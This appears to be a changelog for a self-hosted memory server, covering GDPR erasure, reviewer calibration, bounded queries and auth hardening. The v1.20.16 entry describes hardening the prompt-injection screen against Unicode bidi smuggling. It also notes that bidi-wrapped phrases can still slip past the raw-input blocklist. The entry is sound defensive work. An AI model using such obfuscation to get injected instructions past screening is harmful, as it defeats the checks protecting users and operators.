  • G3 — auth fails closed on a leaked secret file. AUTH_TOKEN_FILE that exists with group/world bits (mode & 0o077 != 0) or that can’t yield tokens with no AUTH_TOKEN env fallback now refuses to start (config::auth_token_misconfigured + auth::check_secret_permissions enforced on the token file and the JWT private key at startup). A valid env fallback keeps the ladder; the no-file loopback default is unchanged.
  • G4 — DSAR erases the subject from every domain DB, not just global (observe.rs::post_dsar). Multi-db mode now runs a run_dsar_pool per domain (registry.known_domains(); shim mode = exactly the one global pool, byte-identical to v1.20.23), each in its own transaction (erasure-safe direction: a crash between pools erases-but-under-reports), the global pool last so its ledger row carries the whole purge: aggregate_hash = SHA-256 of {"subject", "domains":[...]}. Dry-run unchanged (read-only footprint per pool).
  • G5 — /decayed scans narrowed, not full-table (gate.rs + migration.rs): index-served superset WHERE (exact expires_at < ? + kind-policy branch at the least restrictive cutoff — min days — so no Rust-expired row is excluded; page_decayed stays the arbiter), served by new idx_knowledge_expires_at + idx_knowledge_kind_created.
  • G6 — deletion digests are not brute-forceable. Purge tombstones now carry SHA-256 of the deleted content, not the row’s 64-bit xxh3 content_hash (offline-recoverable for low-entropy values); the DSAR ledger bundle hash is sha256_hex too. Knowledge-dedup content_hash stays xxh3 on purpose — that row still exists, so the hash is worthless.
  • Found bug — /decayed returned [] since v1.14. The strftime('%s', ...) column is TEXT, so get::<_, i64> threw on every row and .filter_map(|r| r.ok()) dropped them all — the endpoint has silently served an empty list regardless of expiry. The G5 regression test caught it (the fixture failed where any live-DB test would have); unixepoch(...) returns INTEGER with identical parsing.
  • Tests: server 532 passed / 5 ignored in the main bin (+5: the superset property on a real DB, purge-digest SHA-256, cross-domain purge + single-ledger, check_secret_permissions mode ladder, auth_token_misconfigured fail-closed ladder), MCP bin 15 (+2: envelope + response-seam strips); client 111 passed (unchanged — the G7 fence is CSS-only); plugin (openclaw) 96 passed (+2: bidi class + title strip). Both trees + plugin clippy -D warnings + fmt clean; server 5-binaries + client wasm release builds clean.
  • Honest ceilings: the G3 checks are reader-side enforcement — a secret written with wide modes after start is still read by install-service.sh’s chmod contract; the G5 superset property holds for the %Y-%m-%d %H:%M:%S CURRENT_TIMESTAMP format (its only production shape); the G4 aggregate is a digest of a domain list, not of per-domain bundle contents (bundles still hash individually at write time only); the cross-pool certificate is a best-effort audit record, not a crash-recovery protocol.

[1.20.23] — 2026-08-13

Server + client — “Calibrate” (reviewer calibration strip)

Server Cargo.toml/lock 1.20.22 → 1.20.23; client 1.20.22 → 1.20.23 (a real release — the server changed). The human-in-the-loop essay’s fourth condition is evaluative feedback to the reviewer: a rubber-stamp gate is a false control (Bainbridge’s irony of automation). The raw signals already ship — created_at/edited_at/screen_verdict on every ProposalView, and decided_at written on approve/reject/expire since v1.14.0 — but decided_at was never selected into the view, so no consumer could compute a decision-latency. This release exposes it, adds a since window param, and computes the four reviewer signals client-side — no new telemetry, no new server logic, pure arithmetic over existing rows. See IMPLEMENTATION_PLAN_v1.20.23_Calibrate.md.

Release notes

Improvements

  • The review queue now reports when each proposal was decided — the decision timestamp was recorded all along but never surfaced to clients.
  • GET /proposals accepts a ?since= window parameter (e.g. last-30-days views) without changing the default response.
  • The client’s Review panel shows a dismissable reviewer calibration strip: approval rate, median decision latency, edit rate, and screen-override rate, with a rubber-stamp warning when approvals exceed 90% over 20+ decisions. Pure arithmetic over existing rows — no new telemetry.

Engineering record

  • M1.1 — ProposalView.decided_at (src/handlers/gate.rs). The list_proposals SELECT now carries decided_at (column 11, Option<i64>); #[serde(default)] on the field so legacy consumers are unaffected. The three write sites (approve :618 / reject :753 / TTL auto-expire :424) always stamped it; the read now surfaces it. Extracted list_proposals_page (the page_decayed/list_dsar_page idiom) so the projection is unit-testable with a bare &Connection — no HTTP stack, no model.
  • M1.2 — since window param. GET /proposals?status=&limit= gains ?since=<unix ts> — WHERE status = ?1 AND created_at >= ?3 when present, byte-identical legacy query when absent. Parameterized (the repo’s SQL discipline). A since window still stops at LIMIT (200), so the stats fetch passes limit=200 explicitly or it samples only the 50 default.
  • M2 — client calibration core + strip (client/src/panels/review.rs). Pure Calibration + calibration_stats(approved, rejected) — approve-rate, median decision latency (decided_at - created_at), edit-rate, and screen-override-rate (approved-with-quarantine-verdict), with zero denominators → 0.0/None (no NaN). ApiClient::proposals_since fetches the two windowed pages at limit=200. A dismissable strip above the queue renders the four figures + a rubber-stamp warning (approve-rate > 0.9 over ≥ 20 decisions → warn tier + “review the last by hand”); fetch-failed → renders nothing (the v1.20.0 offline posture). role="status" + aria-live="polite" (WCAG). cal_* i18n keys in en only (de/fr/es/nl fall back).
  • Tests: server +2 (main bin 525 → 527 passed / 5 ignored): proposal_view_round_trips_decided_at (approved-set / pending-None / expired-set) + proposals_since_filters_created_at_and_is_optional; client +3 (108 → 111 passed): calibration_stats_rates_and_median, calibration_stats_handles_empty_and_zero_denominators, rubber_stamp_warns_only_over_real_workload. Both trees clippy -D warnings
    • fmt clean; wasm + all 5 server binaries build clean. openapi.yaml documents ProposalView.decided_at + the since param.
  • Honest ceilings: the window is since-bounded and list-capped (LIMIT 200) — a 30-day window on a busy queue samples the newest 200, so the strip labels itself “last 200 decisions” when the cap is hit (a COUNT-aware window is v2.x). override_rate keys on the v1.20.3 read-time screen_verdict recomputation, not a stored decision-time verdict (a model swap re-badges in-flight rows). The strip is per-operator-global (all principals), not per-reviewer (RBAC breakdown is v2.3). The warn threshold (0.9 / 20) is a constant heuristic, not a reviewer baseline (v2.x cohort tooling).

The v1.20.x hardening line — closure

v1.20.23 closed the v1.20 harden line. Every release turned an audit/essay gap into a shipped, honest control — Scrub (v1.20.17, personal-data surface scrub + inventory), Bound (v1.20.18, unbounded read paths), Vault (v1.20.19, dead pii_map vault removed), Replay (v1.20.20, stored decision path surfaced), Subject360 (v1.20.21, DSAR dry-run footprint), Clocks (v1.20.22, Art 17/12 deadline + retention visibility), and Calibrate (v1.20.23, reviewer feedback). v1.20.24 “Sweep” ships after as the audit-followup on this closed line (§[1.20.24] — the seven gaps the post-calibration audit itemized, plus the /decayed-empty bug found by its regression suite). Each implemented its audit gap with honest ceilings carried to v2.x. See IMPLEMENTATION_PLAN_v1.20_Hardening_Line_INDEX.md.


[1.20.22] — 2026-08-13

Release notes

  • DSAR deadlines: erasure responses now include the created date and a server-computed 30-day response deadline (configurable), matching the GDPR Article 17 window.

Improvements

  • New admin endpoint lists the data-subject request ledger — status, timestamps, and a server-computed deadline per row — newest first and paginated.
  • The web client shows a live, color-coded 30-day countdown on each open erasure request in the Subjects panel.
  • The Data panel now lists the next items approaching retention expiry, with time-remaining labels.

Engineering record

Server + client — “Clocks” (DSAR deadline + retention expiry)

Server Cargo.toml/lock 1.20.21 → 1.20.22; client 1.20.21 → 1.20.22 (a real release — the server changed). GDPR Art 17’s 30-day window and Art 12’s response deadline are commitments, not displays — a controller that cannot show the remaining window cannot show diligence. dsar_requests always stamped created_at/completed_at; what was missing was the visibility: the DSAR response carried no deadline, there was no ledger list endpoint, and the client never rendered either clock. This release turns the v1.20.15 “queue is a clock” core (reused unchanged) into the erasure + retention clocks. See IMPLEMENTATION_PLAN_v1.20.22_Clocks.md.

  • M1.1 — DsarResponse deadline (src/handlers/observe.rs + src/config.rs). Pure dsar_deadline(created_at) = created_at + dsar_window_secs(); config gains DEFAULT_DSAR_WINDOW_DAYS = 30 (Art 17)
    • BRAIN_DSAR_WINDOW_DAYS override (the BRAIN_PROPOSAL_TTL_SECS resolution pattern). DsarResponse gains created_at + deadline (computed, the client’s source of truth — the expires_at/warn_secs discipline). No schema change.
  • M1.2 — GET /dsar ledger list (Admin). Bounded (limit default 100, clamped 1..=MAX_MULTI_GET), newest-first (ORDER BY id DESC), the audit pagination idiom. { requests: [{id, subject, action, status, created_at, deadline, completed_at}], total } — deadline is server-computed on the rows, so the client ticks against the same number the POST response carries (no client mirror of the window). Extracted list_dsar_page (the page_decayed idiom) so ordering + page boundary are unit-testable. Wired into the openapi route table + both route/guard guards.
  • M2.1 — Subjects panel: DSAR ledger + 30-day countdown (client). Fetches GET /dsar; per open row the deadline clock runs through the v1.20.15 time_budget::{remaining, tier, format_remaining} core (day-scale bands: <3d warn, <1d danger), re-rendered by one ~30s on-load ticker.
  • M2.2 — Data panel: next expiries (client). Pure next_expiries core — sort by expiry, take 10, skip already-expired (the server excludes them anyway; the core is the boundary) — rendered with format_remaining labels, tier-colored.
  • Tests: server +2 (main bin 523 → 525 passed / 5 ignored); client +3 (105 → 108 passed). Both trees clippy -D warnings + fmt clean; wasm + release builds clean.
  • Honest ceilings: the countdown is a signal, not enforcement — the server never re-purges or re-reports autonomously (repo rule); the ledger TTL (v1.20.17) is the only automatic bound. The 30-day window is display math on created_at; the DB does not enforce it (a reminder/notification channel is v2.x). GET /dsar is an Admin-only operator registry (not subject-facing; DSARs keep flowing through POST + certificate). The /decayed endpoint only returns already-expired rows, so the Data “next to expire” card is the client boundary that would surface a near-expiry row if the server ever returned one.

[1.20.21] — 2026-08-13

Release notes

  • DSAR dry-run: erasure requests accept a dry-run flag that reports exactly what would be deleted — root items, derived chunks, export rows, prior tombstones — and writes nothing.

Improvements

  • The web client adds a “Preview DSAR footprint” card with an explicit “nothing deleted” note; previewing and erasing deliberately remain separate actions.

Engineering record

Server + client — “Subject360” (DSAR footprint preview)

Server Cargo.toml/lock 1.20.20 → 1.20.21; client 1.20.20 → 1.20.21 (a real release — the server changed). Every DSAR was execute-blind: POST /dsar located, exported, and purged in one irreversible shot, and a DPO could not preview what would be deleted before clicking (GDPR Art 17 asks the controller to be able to show the scope). This release adds a read-only dry-run: the same locate engine, the same export-bundle builder, one boolean between preview and erasure. See IMPLEMENTATION_PLAN_v1.20.21_Subject360.md.

  • M1 — dry_run on POST /dsar (src/handlers/observe.rs). The DsarRequest gains #[serde(default)] dry_run: bool; the DsarResponse gains footprint (skip-if-none). The handler runs locate + bundle build, then a dry_run branch reports the footprint and drops the read-only tx — no purge, no residue sweep, no ledger row, no certificate. Footprint carries roots/derived/export_rows/tombstones (prior deletions for this subject, matching the purge’s owner:<subject> / derived reasons)/ dsar_rows (ledger history)/dry_run. No duplicated query: the bundle builder is extracted once (build_export_bundle) and used by both paths.
  • M2 — footprint preview card (client/src/panels/subjects.rs + client/src/api.rs). A “Preview DSAR footprint” card (subject input + button) issues POST /dsar {subject, action: both, dry_run: true} via ApiClient::dsar_preview, renders the counts with a role="status" “preview only — nothing deleted” note, and has no purge button (seeing and erasing stay one click apart). Pure parse core parse_footprint + dsar_preview_body pinned by wire tests. dsar_preview_* i18n keys in en only.

Tests: server +2 (dsar_dry_run_footprint_counts_and_writes_nothing, dsar_export_bundle_builder_matches_live_shape), main bin 521 → 523 passed / 5 ignored; client +2 (parse_footprint_reads_counts_and_dry_run_flag, dsar_preview_request_carries_dry_run_true), 103 → 105 passed. Both trees: clippy -D warnings + fmt clean; server all 5 binaries + client wasm build clean. openapi.yaml documents dry_run, the Footprint schema, and DsarResponse.footprint. See docs/AGENTS_HISTORY.md Agent 88.

Honest ceilings: the footprint is a point-in-time preview (locate semantics: owner + derived_from walk, depth 8) — not a full dependency analysis of cross-domain knowledge (federation is v2.x). Ledger-history counts reflect the v1.20.17 retention window, not all time. No parallel “what is not deleted” report (backups snapshot posture is documented in COMPLIANCE.md). The preview only calls the knowledge/tombstones/dsar_requests tables the live path writes — no new schema.


[1.20.20] — 2026-08-13

Release notes

Improvements

  • The web client’s decision-replay view now shows the full stored decision path — decision, actor, domains searched, and the access scope applied.
  • Recall rows in the audit ledger deep-link to their decision replay.
  • The replay view can export the raw trace JSON as an evidence artifact.

Security fixes

  • Replay rendering strips invisible Unicode (including bidi directional overrides) from every displayed string, closing a display-smuggling gap on the new surface.

Engineering record

Client — “Replay” (decision-path replay surface)

Client Cargo.toml/lock 1.20.16 → 1.20.20; server 1.20.19 → 1.20.20 (version-alignment only — zero server code, openapi.yaml untouched). The decision path the server already stores (v1.15.0 “Observe” M2, GET /recall/{trace_id}/trace) becomes a routed, ledger-linked, exportable evidence surface — the Art 22 / ADMT “why this became memory, by what path” story is one click from the audit chain. See IMPLEMENTATION_PLAN_v1.20.20_Replay.md.

  • M1 — routed leaf is the structured replay view (client/src/panels/recall.rs). Route::RecallTrace already delegates to trace_panel; the TraceCard renderer now reads the stored shape — query_hash (not query, v1.20.17 M3), decision, actor, domains_searched, and the applied scope array — and runs every displayed string through the v1.20.3 strip_invisible render boundary (replay_str/replay_list), closing the bidi/zero-width smuggling class on the replay view.
  • M2 — audit ledger → replay deep link (client/src/panels/audit.rs). kind == "recall" audit rows link to /recall/{id} (the row id is the trace id by construction), via pure replay_href — test-pinned so a future trace-capable kind is wired explicitly, never silently left unlinked.
  • M3 — evidence export + i18n. The replay view downloads the raw trace JSON via the existing document::eval blob seam (no new helper). New replay_* keys in en only (de/fr/es/nl fall back per the ops_title convention): replay_title “Decision replay”, replay_audit_link “open audit row”, replay_export “export evidence”. RecallTrace stays a detail route — the palette guard is unaffected.

Tests: +3 (replay_href_links_only_recall_rows, replay_header_reads_stored_shape_and_strips, replay_hit_cells_strip_smuggled_bidi) — main client bin 100 → 103 passed. Client clippy -D warnings + fmt + wasm build clean; server suite untouched and green. See docs/AGENTS_HISTORY.md Agent 87.

Honest note: the replay view is read-only over what the trace recorded; traces store the query hash (v1.20.17 M3), so the exact query is recovered via audit + hash, not shown verbatim. Read-event traces remain opt-in + sampled (JWT mode default), so the ledger link exists only where a trace row exists. No screenshot/PDF export — the JSON is the honest evidence artifact.

[1.20.19] — 2026-08-13

Release notes

Improvements

  • Export responses no longer include a PII-map key, and docs now describe the real privacy control: deterministic read-time redaction plus at-rest encryption.
  • A documented environment variable that had no runtime effect was removed from the documentation.

Security fixes

  • The unused placeholder-to-raw-PII table is dropped during migration, erasing any legacy rows — no fetchable map from redacted placeholders back to raw personal data exists, by design.

Engineering record

Server — “Vault” (PII-vault promise made honest)

Server Cargo.toml 1.20.18 → 1.20.19; client stays at 1.20.16. The v1.14 pii_map write-time placeholder vault was never built — zero INSERT INTO pii_map sites in-tree, only /export’s read path. A docs correction, not a feature build: a pii_map holding raw PII in exchange for placeholders would increase the personal-data surface, so the honest move is to stop advertising it and erase the dead table. See IMPLEMENTATION_PLAN_v1.20.19_Vault.md.

  • M1 — pii_map read path removed (src/handlers/gate.rs). ExportQuery drops include_pii_map (a request carrying ?include_pii_map=true is simply ignored — serde drops the unknown field), the pii_map SELECT is gone, and the /export envelope no longer carries a pii_map key. export_format_version stays at 2.
  • M1.2 — real posture documented (src/gate.rs, src/handlers/observe.rs). The shipped PII control is deterministic output redaction (redact_content + screen_source_prompt, default-on for read paths unless the caller holds pii:read/Admin) plus at-rest LUKS (v1.12.2). A fetchable placeholder→raw map is deliberately absent.
  • M1.3 + M1.4 — table dropped (src/migration.rs). DROP TABLE IF EXISTS pii_map erases any legacy placeholder rows and the table at migration (the old CREATE TABLE IF NOT EXISTS was removed in the same release, so a fresh DB never recreates it). Schema version → 1.20.19 (SCHEMA_VERSION_V1_20_19); guarded by test_migration_schema_contract + migration_drops_pii_map_and_empty_table.
  • M2 — configuration contract. BRAIN_REDACT_PII had no config.rs getter (it was a documentation-only claim); removed from all live docs. openapi.yaml /export no longer documents include_pii_map/pii_map.

Tests: +2 (export_has_no_pii_map_envelope, migration_drops_pii_map_and_empty_table) and the schema-contract test now asserts the table is dropped. All gates green: clippy -D warnings, fmt, openapi/route/schema guards, release build.

Honest note: this is a documentation correction — the feature it retracts was never shipped, so there is no behavior an operator relied on. See docs/AGENTS_HISTORY.md Agent 86.

[1.20.18] — 2026-08-13

Release notes

Improvements

  • Graph entity and relations endpoints now return a bounded page (default and max 500 edges) instead of every incident edge on hub entities.
  • The subject-conflict scan no longer cross-pairs the whole corpus — proposal writes are dramatically faster on large stores, with deterministic results.
  • The retention-expired listing endpoint is now paginated instead of returning every expired item at once.
  • A new index speeds up tombstone registry queries and erasure-certificate reads.

Security fixes

  • Unbounded reads that could be forced to return corpus-sized responses (graph edges, expired items) are now capped, closing a denial-of-service surface.

Engineering record

Server — “Bound” (DoS + performance bounds)

Server Cargo.toml 1.20.17 → 1.20.18; client stays at 1.20.17. Closes the remaining unbounded read paths and collapses the two quadratic scans the v1.20.2 “Harden” D-group left: three read endpoints return bounded, stable pages and find_subject_conflicts no longer cross-pairs every current chunk. One schema change (a tombstone index), no new route. See IMPLEMENTATION_PLAN_v1.20.18_Bound.md.

  • M1 — Graph endpoints return a finite edge set (src/main.rs). GET /graph/entity/{name} and GET /graph/relations were returning every incident edge — on the live corpus (8732 docs / 21771 rels) a probe on a mega-hub was the same order as the corpus. Both now take a ?limit= (default MAX_GRAPH_EDGES = 500, clamped 1..=500) and run ORDER BY r.id LIMIT ? — a stable, reproducible page (the KG has no histogram to rank by, so a plain bound beats an arbitrary top-N). Shared GraphLimit query struct + clamp_graph_limit helper; extracted entity_relations / relations_for so the LIMIT contract is unit-tested.
  • M2 — find_subject_conflicts is no longer O(n²) (src/consolidate.rs). The proposal-write conflict scan cross-paired all current chunks even though the rule only compares same-subject rows. Now grouped by subject first → O(sum of m² per subject), ~O(n) dominating on mostly-unique subjects. Output is sorted by (from_chunk, to_chunk) for determinism (HashMap iteration order is unspecified; the result feeds the review queue, not an ordered API surface). The conflict rule is unchanged.
  • M3 — idx_tombstones_reason_purged (src/migration.rs). The /tombstones?subject=&since= registry and the DSAR certificate read WHERE reason = ? AND purged_at >= ?; the compound index keeps those off a full tombstone scan. Guarded by the migration schema-contract test. Schema version → 1.20.18.
  • M4 — /decayed is paged (src/handlers/gate.rs). list_decayed returned every expired chunk (full-table scan on the Rust-side effective_expiry filter). New ?limit= (default MAX_DECAYED = 500) + ?offset= page the Rust-filtered result — the page split never lands on the “is it actually expired?” decision. Extracted page_decayed for testing.

Tests: +6 (graph entity limit/clamp, graph relations from+to, subject-conflict grouping ×2, decayed paging, tombstones index guard) → 520 passed. All gates green: clippy -D warnings, fmt, openapi/route/schema guards, release build.

Honest ceilings: the graph ORDER BY r.id page is a bounded but arbitrary window (no semantic ranking), /decayed pages the corpus but still scans it once (a SQL push-down isn’t possible — the expiry is a Rust pure function), and the conflict scan is still quadratic within a single subject (inherent to the mC2 rule). See docs/AGENTS_HISTORY.md Agent 85.

[1.20.17] — 2026-08-12

Release notes

Improvements

  • The erasure transaction is now fully atomic: the ledger entry and certificate commit together with the erase itself.
  • The erasure ledger no longer retains erased data — it previously kept a full copy of the exported bundle; now only a hash is stored, and completed entries age out after a configurable window.

Security fixes

  • Exports support owner redaction: exporting one subject’s data no longer carries another subject’s content out of the system.
  • Stored recall traces keep a fingerprint of the query, not the raw text, so replay works without retaining queried prose at rest.
  • Memory writes with a mismatched owner scope are now recorded as denied audit events instead of being silently dropped.

Engineering record

Server — “Scrub” (GDPR erasure completion)

Server Cargo.toml 1.20.16 → 1.20.17; client stays at 1.20.16. Closes five verified GDPR-erasure (Art 17 “right to erasure”) completeness gaps. No schema change, no new route — every fix lands on existing code paths. See IMPLEMENTATION_PLAN_v1.20.17_Scrub.md.

  • M1 — DSAR ledger stores a hash, not the raw bundle (src/handlers/observe.rs). The dsar_requests side-table persisted the full exported bundle JSON — a retained copy of the very data a DSAR just erased. Now persists bundle_hash (xxh3 of the export body) only. Mature DSAR ledger rows are pruned on the existing read-event prune cadence: purge_stale_dsar_ledger deletes status='completed' rows older than BRAIN_DSAR_LEDGER_DAYS (default 30). Also hardened the purge transaction’s atomicity (M5): the ledger row + certificate are committed with the erase, and the certificate signed_at is backfilled after commit.
  • M2 — cross-owner export redaction (src/handlers/gate.rs). GET /export (and /export?format=ump) gained an optional redact_owner query param: any row whose owner doesn’t match is exported with content redacted to [redacted]. A shared should_redact helper keeps the JSON and UMP paths on one rule. So an operator exporting on behalf of one subject never carries another subject’s chunk body out of the system.
  • M3 — stored recall traces hash the query (src/handlers/recall.rs). The recall_traces side-table stored the raw query text. Now stores query_hash (xxh3 fingerprint) — the replay endpoint returns the decision path without retaining the queried prose at rest. Bounded, content-free, and PII-free like the audit chain.
  • M4 — UMP scope-mismatch audited as a denied auth event (src/handlers/ump_ops.rs). A ump.remember whose declared scope.owner doesn’t match the authenticated principal was silently dropped. It is now recorded as a denied auth audit row via the shared record_forbidden_scope helper; the detail (xxh3-hashed like all audit fields) names the mismatch without persisting either the owner label or the payload. Best-effort: an audit failure never fails the request.
  • Tests (+7, no new files): observe (ledger stores hash not bundle, prune deletes only old completed rows, zero retention no-op, ledger committed with erase), recall (stored trace hashes query never raw text), gate (export redacts non-owned rows via the shared rule), ump_ops (scope mismatch audited as denied with only a hashed detail + chain verifies), plus the M5 atomicity test.

Verification

  • cargo test --features bench,migrate: 514 passed, 5 ignored (main bin). Clippy -D warnings clean. cargo fmt --check clean.
  • test_openapi_covers_routes + authz_gates_cover_every_non_public_route + test_migration_schema_contract green (no new routes, no schema change).
  • Release build (all 5 binaries) clean.

Honest ceilings (carried into v1.21 / v2.0)

  • The export redaction replaces chunk content only; metadata (source, origin, owner, id) still reflects the target owner’s selection. An operator wanting a fully subject-scoped export scopes the query at source.
  • purge_stale_dsar_ledger runs on the read-event prune cadence, not a dedicated boot timer; retention is per whole-ledger, not per-subject.
  • query_hash/bundle_hash are xxh3 fingerprints (traces and ledger are non-adversarial hashes, per the audit chain’s existing pattern) — a consumer needing the exact query/bundle re-derives it from its own source copy.

[1.20.16] — 2026-08-12

Release notes

  • Injection screening now strips Unicode bidi-control characters (directional overrides and isolates), closing the “Trojan Source” obfuscation class at the scoring boundary.

Security fixes

  • The web client renders the de-obfuscated form, stripping bidi and other invisible characters from displayed text.

Engineering record

Server + client — “Bidi” (close the Unicode bidi-smuggling gap)

Server Cargo.toml 1.20.15 → 1.20.16; client 1.20.15 → 1.20.16. Closes the one real gap a deep audit of six proposed agentic-security hardening measures found against the live tree (the other five were already defended or out of brain-server’s scope — see the audit verdict). The injection screen’s strip_invisible predicate covered tag-block, variation selectors, zero-width, and the legacy BOM/soft-hyphen set, but not the Unicode Bidi_Control block — the directional-override smuggling class (U+202E RLO et al.) named by Trojan Source / W3C TR#20 and by the LITL/EchoLeak hardening literature.

  • is_invisible widened (src/screen.rs + client/src/main.rs, the two mirrors of the shared predicate) to strip the canonical bidi-control ranges: U+200E–U+200F (LRM/RLM marks), U+202A–U+202E (LRE/RLE/PDF/LRO/RLO — the overrides), and U+2066–U+2069 (LRI/RLI/FSI/PDI isolates). No new codepath, no new dep, no abstraction — the existing predicate now covers the full Unicode Bidi_Control set. Because strip_invisible is applied at the classifier-scoring boundary (server) and the operator render boundary (client), both surfaces see the de-obfuscated form in one move.
  • Tests extended (no new files): strip_invisible_removes_smuggling_forms (server) + strip_invisible_removes_smuggling_but_keeps_visible_text (client) now exercise U+200E / U+202E / U+2066 and the server test pins the full LRE/RLE/PDF/LRO/PDI collapse.
  • Audit verdict recorded (this entry): of the six proposed measures, (1) LITL/UI markdown hardening is already defended — the Dioxus client renders escaped text nodes, no markdown parser, no dangerous_inner_html (build-guarded); (2) IFC/taint tracking already serializes untrusted: true on every recall hit, and the FIDES/CaMeL enforcement is orchestrator-side; (3) Rule-of-Two is an OpenClaw/orchestrator concern (brain-server has no shell/exec, one bounded outbound path); (4) MCP ETDI/signed manifests target aggregating MCP clients, not this single self-hosted server with a compile-time-fixed tool table; (5) SPIFFE/SPIRE + mTLS + TPM is org-level infra disproportionate for a single-loopback launchd service (did:key capability tokens already ship). Only (6.2) Unicode normalization had a real, in-scope gap → this release.

ponytail ceiling (documented, not fixed here): the server’s layer-1 blocklist (contains_suspicious_pattern) runs on raw content, not stripped input — so a bidi-wrapped phrase the classifier now strips + catches can still dodge the blocklist leg. Widening is_invisible shrinks this gap (the classifier scores stripped text) but the blocklist-on-raw-input is a separate “where strip is applied” change, out of scope for this hardening recommendation.


[1.20.15] — 2026-08-12

Release notes

  • Live deadline clocks in the review queue: every pending proposal shows a tier-colored countdown to expiry; expired rows are flagged and their action buttons disabled.

Improvements

  • Deadlines come from the server (absolute expiry plus thresholds), so client badges and server alerts always agree — even with a custom TTL configured.
  • New “expiry first” sort toggle surfaces the nearest deadlines at the top of the queue.

Engineering record

Server + client — “Clock” (deadline clocks in the review queue)

Server Cargo.toml 1.20.14 → 1.20.15; client 1.20.14 → 1.20.15. Brings the console line’s design rule — “the queue is a clock” — to the review queue cards and the review detail page, where the operator actually decides (the essay’s condition: an operator needs to be told what is running out). The 7-day TTL exists (v1.20.1) and v1.20.8 Signal pushes expiry alerts, but the queue itself showed only “pending” with no sense of urgency. Now every pending proposal shows a live, tier-colored countdown to its deadline; expired rows are flagged and the expired proposal’s buttons disabled. The server stays the source of truth — the client computes tiers locally from server-provided absolute expires_at + warn_secs/critical_secs, so an operator override of BRAIN_PROPOSAL_TTL_SECS or the alert thresholds is reflected with no rebuild and the badge and the server alert cannot disagree about a tier. See IMPLEMENTATION_PLAN_v1.20.15_Clock.md.

  • M1 — Server deadline on ProposalView (src/handlers/gate.rs): three computed, non-stored fields on ProposalView via the new pure gate::proposal_deadline(created_at) — expires_at (created_at + proposal_ttl_secs(), the alert watcher’s own math), warn_secs/critical_secs (the exact ALERT_WARN_SECS/ALERT_CRITICAL_SECS constants, so client badge and server alert share one boundary). No schema change, no new route. openapi.yaml documents the fields.
  • M2 — Client shared clock core + review clocks. New client/src/time_budget.rs (tier/remaining/format_remaining/now_unix), Dioxus-free and consumed by Review cards, the detail page, and /ops — the old per-panel client TTL mirror (ops::clock_until + DEFAULT_PROPOSAL_TTL_SECS) is deleted in favor of the shared core. Review cards + the deep-link detail page render a tier-colored absolute-deadline badge (Xd Yh / Xh Ym / Xm / <5m / expired), refreshed on a ~30s tick; Expired rows disable approve/reject/ edit. A client-side sort-by-deadline toggle (“expiry first” vs the server’s creation order, stable id tie-break via the pure review::expiry_order) defaults to the server order so nothing changes unless asked (ponytail: the queue is ≤200 rows, local sort is honest and keeps the API surface flat).
  • M3 — wrap: server + client bumped to 1.20.15; api::now_unix delegates to the shared core; openapi + Cargo.lock re-stamped; CHANGELOG + AGENTS header.

Verification: server 507 passed + 5 #[ignore]d green, clippy -D warnings

  • fmt green. Client 100 passed (was 99 at v1.20.14; +1 expiry_order sort test, the time_budget tier/format/remaining cores already shipped), clippy -D warnings + fmt green, wasm build green.

Honest ceilings (carried forward): the <5m display band is not parameterized by an ALERT_CRITICAL_SECS override — an override shifts only the tier color, never the coarse label (ponytail in the core). The new sort toggle + badge strings are en-only first cuts (the shared clock core is English-first); other locales inherit via the en-fallback until a native pass. The 30s tick is a signal, not enforcement — the server’s 400 on a stale approve stays authoritative.

[1.20.14] — 2026-08-12

Release notes

  • Edit-then-approve: reviewers can rewrite a pending proposal and approve the corrected version, instead of rejecting and re-ingesting.

Improvements

  • Edited proposals are re-scored and re-screened for injection on save, and carry an “edited” badge so reviewers see the content is not the original.
  • Edits are audited (hashes of before/after only, never raw text) and never reset the expiry clock; edits also work offline via the client’s queue.

Engineering record

Server + client — “Steer” (edit-then-approve: evaluative substitution)

Server Cargo.toml 1.20.13 → 1.20.14; client 1.20.13 → 1.20.14. Adds the fifth limb of the human-in-the-loop essay (Bainbridge’s irony of automation: a reviewer stuck with binary buttons is a gate, not an evaluator): a human can now rewrite a pending proposal and approve the corrected version instead of reject + re-ingest — steering toward a better solution, not just away from a bad one. Zero tokens, no LLM, no background worker; editing is an audited operator mutation like every other decision, and the TTL clock is untouched so an edit never dodges expiry (consequentiality preserved). See IMPLEMENTATION_PLAN_v1.20.14_Steer.md.

  • M1 — Server POST /proposals/{id}/edit (src/handlers/gate.rs): body {content} → re-scores deterministically through the exact ingest_proposal path (novelty vec0 KNN, find_conflict, salience), runs the v1.20.3 two-layer injection screen (Reject → 400; Quarantine → allowed + stored, the read-time screen_verdict badge recomputes it), and stamps edited_at. Same stale/expiry + CAS discipline as approve/reject (v1.20.2 A3/A4): TTL check + expiry audit before the tx, BEGIN IMMEDIATE tx with status='pending' re-check, n==0 → clean 409 rollback on a concurrent decision. Audit detail is hashes only — SHA-256 of before + after content, never raw text (pinned by a known-vector test). v1.20.7 gate.edit otel span under --features otel.
  • M1 — Migration: additive nullable proposals.edited_at (unix ts); schema contract + wiring guards updated.
  • M2 — Client Review panel (client/src/panels/review.rs): edit_for signal wired through the panel + card() (an Edit button), an EditEditor dialog (Escape-close, cancel, re-scored-on-save, inline feedback error), E keyboard mapping, and the ? help table row. A warn edited badge (edited_at set) renders on the card + detail header so a reviewer/auditor sees the content shown is not the original capture. Offline: a new QueuedAction::Edit (payload-keyed, replay via the existing offline queue). New i18n keys edit / review_key_edit in en (other locales fall back via the established convention).
  • M3 — wire contract: ProposalView.edited_at (server) ↔ Proposal.edited_at (#[serde(default)], client); openapi.yaml documents /proposals/{id}/edit
    • the field.

Honest ceilings (carried into v1.21 / v2.x)

  • Editing is review-queue-only; it does not rewrite an already-promoted chunk (that remains consolidate + supersession).
  • The audit detail carries before/after hashes, not text — a full content history diff of an edited proposal is not persisted (consistent with the hash-only audit practice).
  • The client edit + review_key_edit strings are en-only first cuts; de/fr/ es/nl inherit via the en-fallback until a native pass.
  • No measured capacity/device run for the new panel (the bench --envelope operator step remains open).

[1.20.13] — 2026-08-12

Release notes

Improvements

  • Eight technical blog posts (compliance, human-in-the-loop review, tamper-evident audit, retrieval, no lock-in) plus a media kit are now in the public docs.
  • Docs navigation, README, and the product-site pages cross-link the new content.

Engineering record

Server + client + docs — “Media” (GTM content + media kit, version-aligned)

